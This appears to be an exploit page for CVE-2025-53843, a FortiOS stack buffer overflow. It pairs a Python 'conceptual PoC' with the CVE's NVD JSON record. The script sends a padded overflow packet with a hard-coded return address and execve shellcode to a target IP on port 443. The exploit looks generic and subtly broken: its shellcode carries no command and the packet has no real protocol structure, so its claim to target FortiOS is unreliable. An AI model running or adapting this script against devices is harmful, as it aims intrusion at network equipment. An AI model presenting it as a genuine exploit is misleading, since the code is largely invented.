CVE-2025-53843

# CVE-2025-53843 PoC - FortiOS Stack Buffer Overflow # Note: This is a conceptual PoC for educational purposes only import struct import socket def create_exploit_packet(): """Generate a malicious packet to trigger buffer overflow""" # Define packet structure header = b'\x00' * 16 # Protocol header # Overflow payload - triggers stack buffer overflow # Adjust length based on target version overflow_size = 1024 overflow_payload = b'A' * overflow_size # Overwrite return address with shellcode address return_address = struct.pack('<Q', 0x0000000000400000) # Shellcode address # Shellcode for remote code execution (example) shellcode = ( b'\x48\x31\xff' # xor rdi, rdi b'\x48\x31\xf6' # xor rsi, rsi b'\x48\x31\xd2' # xor rdx, rdx b'\xb0\x3b' # mov al, 59 (execve syscall) b'\x0f\x05' # syscall ) payload = header + overflow_payload + return_address + shellcode return payload def send_exploit(target_ip, target_port=443): """Send exploit packet to target FortiOS device""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) packet = create_exploit_packet() sock.send(packet) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") print(f"[+] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

{"cve": {"id": "CVE-2025-53843", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:03.033", "lastModified": "2025-11-21T09:15:47.077", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2 all versions, FortiOS 7.0 all versions, FortiOS 6.4 all versions allows attacker to execute unauthorized code or commands via specially crafted packets"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.0", "versionEndExcluding": "7.4.9", "matchCriteriaId": "1B6548FD-E370-45D7-81D5-6EF892810052"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.4", "matchCriteriaId": "C1C30E0D-7F09-42D2-9EB1-E2196BD50D75"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-358", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}